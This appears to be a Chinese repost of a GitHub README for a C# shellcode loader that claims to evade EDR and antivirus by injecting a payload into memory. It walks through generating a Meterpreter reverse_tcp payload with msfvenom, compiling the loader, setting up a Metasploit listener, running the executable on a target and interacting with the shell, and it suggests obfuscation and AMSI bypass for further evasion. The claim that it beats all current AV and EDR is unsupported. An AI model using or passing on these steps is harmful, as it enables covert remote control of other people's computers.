目录导航
此存储库包含一个使用内存注入技术绕过 EDR 和防病毒解决方案的概念验证 (PoC) 。该代码执行生成反向 shell 的 shellcode,成功逃避各种安全机制的检测。
描述
该项目演示了如何使用 Windows API 函数(例如VirtualAlloc
, CreateThread
, 和WaitForSingleObject
)绕过 EDR 和防病毒保护有效载荷直接注入进程内存,而不会被安全工具检测到,从而建立与远程系统的连接以进行反向 shell。
免责声明:此代码仅用于教育目的。请负责任地使用它,并且仅在您有明确测试许可的环境中使用它。
特征
- 绕过标准 EDR 和防病毒解决方案
- 在内存中执行 shellcode 来创建反向 shell
- 利用
VirtualAlloc
并将CreateThread
有效载荷直接注入进程内存
要求
- Windows 操作系统(在 Windows 11 Pro 上测试)
- Kali Linux(用于反向 shell 监听)
- Visual Studio 或任何 C# 编译器
编译和运行步骤
1. 克隆存储库
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access.git cd EDR-Antivirus-Bypass-Shell-Access
2.修改Shellcode
在编译之前,请确保修改 shellcode 以指向您自己的反向 shell 的 IP 地址和端口。您可以使用以下方式生成 shellcodemsfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f csharp
将Program.cs中的byte[] buf
部分替换为您刚刚生成的 shellcode。
3. 编译代码
在 Visual Studio 中打开项目,或者使用以下命令使用 .NET SDK 编译代码:
csc loader.cs
**或者,您可以在 Release 模式下进行编译以获得更好的优化:
csc -optimize loader.cs
4. 在 Kali 上启动监听器
在 Kali Linux 机器上,启动监听器来捕获反向 shell。在 Metasploit 中使用以下命令:
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <YOUR_IP> set LPORT <YOUR_PORT> run
5.执行有效载荷
将编译好的 .exe 文件传输到 Windows 机器。您可以手动执行该文件,也可以使用任何其他方法运行该文件:
loader.exe
- 获取 Shell
一旦有效载荷在目标机器上执行,您应该会看到在 Metasploit 控制台中打开了一个反向 shell 会话。从那里,您可以与系统进行交互:
meterpreter > sysinfo meterpreter > shell
- 其他绕过技术
为了避免被高级 EDR 解决方案检测到,请考虑使用进程注入、混淆或 AMSI 绕过等技术。可以使用这些方法扩展此 PoC,以实现更强大的规避。
此 POC 绕过了所有当前的 AV 和 EDR 解决方案。
我很快会与大家分享我用更先进的方法开发的代码。
![绕过EDR防病毒软件[免杀] EDR Antivirus Bypass](https://www.ddosi.org/wp-content/uploads/2024/10/loader.webp)
项目地址
GitHub:
https://github.com/murat-exp/EDR-Antivirus-Bypass-to-Gain-Shell-Access
转载请注明出处及链接